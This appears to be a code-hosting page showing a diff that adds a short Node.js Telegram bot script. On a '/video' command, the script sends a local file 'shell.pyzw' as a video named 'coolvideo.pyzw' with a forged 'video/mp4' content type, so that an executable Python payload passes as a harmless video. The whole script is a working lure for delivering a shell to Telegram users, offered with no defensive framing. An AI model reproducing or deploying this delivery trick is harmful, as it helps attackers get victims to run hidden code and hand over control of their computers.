🤬
  • ■ ■ ■ ■ ■ ■
    code.js
     1 +const fs = require("fs");
     2 +const TelegramBot = require("node-telegram-bot-api");
     3 +const token = "******************";
     4 +const bot = new TelegramBot(token, { polling: true });
     5 +bot.onText(/\/video/, (msg) => {
     6 + const chatId = msg.chat.id;
     7 + bot.sendVideo(
     8 + chatId,
     9 + fs.readFileSync("shell.pyzw"),
     10 + {
     11 + width: 300,
     12 + height: 300,
     13 + duration: 30,
     14 + }, {
     15 + filename: "coolvideo.pyzw",
     16 + contentType: "video/mp4"
     17 + }
     18 + );
     19 +});
     20 + 
Please wait...
Page is in error, reload to recover